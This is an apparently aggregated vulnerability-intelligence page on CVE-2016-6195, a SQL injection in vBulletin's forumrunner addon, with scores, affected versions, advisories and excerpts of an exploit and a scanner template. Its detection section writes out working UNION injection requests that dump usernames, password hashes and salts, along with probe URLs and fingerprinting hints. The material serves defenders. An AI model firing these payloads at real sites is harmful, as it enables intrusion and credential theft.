CVE-2016-6195
published 2016-08-30CVE-2016-6195: SQL injection vulnerability in forumrunner/includes/moderation.php in vBulletin before 4.2.2 Patch Level 5 and 4.2.3 before Patch Level 1 allows remote…
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
68.49%
99.2th percentile
SQL injection vulnerability in forumrunner/includes/moderation.php in vBulletin before 4.2.2 Patch Level 5 and 4.2.3 before Patch Level 1 allows remote attackers to execute arbitrary SQL commands via the postids parameter to forumrunner/request.php, as exploited in the wild in July 2016.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| vbulletin | vbulletin | <= 4.2.2 | — |
| vbulletin | vbulletin | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
url{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
url{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
url{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
url{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
url{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27
commandGET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),5,6,7,8,9,10-- -↗
commandGET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.columns)where (table_name=0x75736572) and (0x00) in (@x:=concat(@x,0x3c62723e,column_name))))x),5,6,7,8,9,10-- -↗
commandGET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -↗
- →HTTP response body containing 'type=dberror' indicates successful SQL injection triggering a database error in vBulletin forumrunner.
- →Probe multiple common vBulletin install sub-paths for forumrunner/request.php with a broken postids value (e.g., -1') to detect the vulnerable endpoint.
- →Shodan/FOFA fingerprinting: identify vBulletin instances via page title or HTML body containing 'powered by vbulletin' before targeting the forumrunner endpoint.
- →The SQL injection entry point is the 'postids' GET parameter in the 'get_spam_data' command of forumrunner/request.php; monitor for UNION-based payloads or unbalanced quotes in this parameter. ↗
- →HTTP 200 or 503 response status combined with 'type=dberror' in the body confirms exploitation attempt triggered a DB error response.
- ·Vulnerability affects vBulletin 3.6.0 through 4.2.3; versions 4.2.2 Patch Level 5+ and 4.2.3 Patch Level 1+ are patched. Scope detection efforts to this version range. ↗
- ·This vulnerability was actively exploited in the wild as of July 2016; treat any unpatched vBulletin 3.6.0–4.2.3 instance as high-priority. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
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GHSA
GHSA-vhxf-9672-mr6m: SQL injection vulnerability in forumrunner/includes/moderation
ghsa_unreviewed·2022-05-17
CVE-2016-6195 [CRITICAL] CWE-89 GHSA-vhxf-9672-mr6m: SQL injection vulnerability in forumrunner/includes/moderation
SQL injection vulnerability in forumrunner/includes/moderation.php in vBulletin before 4.2.2 Patch Level 5 and 4.2.3 before Patch Level 1 allows remote attackers to execute arbitrary SQL commands via the postids parameter to forumrunner/request.php, as exploited in the wild in July 2016.
VulnCheck
vBulletin vBulletin Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
vulncheck·2016·CVSS 9.8
CVE-2016-6195 [CRITICAL] vBulletin vBulletin Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
vBulletin vBulletin Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
SQL injection vulnerability in forumrunner/includes/moderation.php in vBulletin before 4.2.2 Patch Level 5 and 4.2.3 before Patch Level 1 allows remote attackers to execute arbitrary SQL commands via the postids parameter to forumrunner/request.php, as exploited in the wild in July 2016.
Affected: vBulletin vBulletin
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://nvd.nist.gov/vuln/detail/CVE-2016-6195; https://www.cve.org/CVERecord?id=CVE-2016-6195; https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/
No detection rules found.
Exploit-DB
vBulletin 3.6.0 < 4.2.3 - 'ForumRunner' SQL Injection
exploitdb·2015-08-25·CVSS 9.8
CVE-2016-6195 [CRITICAL] vBulletin 3.6.0 < 4.2.3 - 'ForumRunner' SQL Injection
vBulletin 3.6.0 < 4.2.3 - 'ForumRunner' SQL Injection
---
##################################################################################################
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
#Author : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date : 25/08/2015
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At : Indishell Lab(originally developed by Dantalion)
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon.
Vulnerability was analized and
Nuclei
vBulletin <= 4.2.3 - SQL Injection
nuclei·CVSS 9.8
CVE-2016-6195 [CRITICAL] vBulletin <= 4.2.3 - SQL Injection
vBulletin <= 4.2.3 - SQL Injection
vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.
Template:
id: CVE-2016-6195
info:
name: vBulletin <= 4.2.3 - SQL Injection
author: MaStErChO
severity: critical
description: |
vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and p
Qualys
Hackers Are Having a Field Day with Stolen Credentials
blogs_qualys·2017-01-10
Hackers Are Having a Field Day with Stolen Credentials
Login credentials have always been a weak link in cybersecurity’s protection chain, a situation that’s worsening. However, this trend could be reversed with a bit of effort from end users, website owners and software vendors.
## 2016: The Year of Stolen Credentials
Hackers made hay of the sorry state of credential security in 2016. They stole millions of username and password combinations from online services of all shapes and sizes. Blogs and discussion forums were hit particularly hard.
Exploiting credentials is an old attack vector that still works wonders for hackers. In its 2016 Data Breach Investigations Report (DBIR), Verizon added a section about credentials, revealing that 63% of data breaches involved weak, default or stolen passwords.
“This statistic drives our recommendatio
Qualys
Hackers Are Having a Field Day with Stolen Credentials | Qualys
blogs_qualys·2017-01-10
Hackers Are Having a Field Day with Stolen Credentials | Qualys
Login credentials have always been a weak link in cybersecurity’s protection chain, a situation that’s worsening. However, this trend could be reversed with a bit of effort from end users, website owners and software vendors.
### 2016: The Year of Stolen Credentials
Hackers made hay of the sorry state of credential security in 2016. They stole millions of username and password combinations from online services of all shapes and sizes. Blogs and discussion forums were hit particularly hard.
Exploiting credentials is an old attack vector that still works wonders for hackers. In its 2016 Data Breach Investigations Report (DBIR), Verizon added a section about credentials, revealing that 63% of data breaches involved weak, default or stolen passwords.
“This statistic drives our recommendati
Greynoiseio
NoiseLetter October 2025
blogs_greynoiseio
NoiseLetter October 2025
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Why GreyNoise
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http://www.securityfocus.com/bid/92687http://www.vbulletin.org/forum/showthread.php?t=322848https://enumerated.wordpress.com/2016/07/11/1/https://github.com/drewlong/vbullyhttp://www.securityfocus.com/bid/92687http://www.vbulletin.org/forum/showthread.php?t=322848https://enumerated.wordpress.com/2016/07/11/1/https://github.com/drewlong/vbully
2016-08-30
Published
Exploited in the wild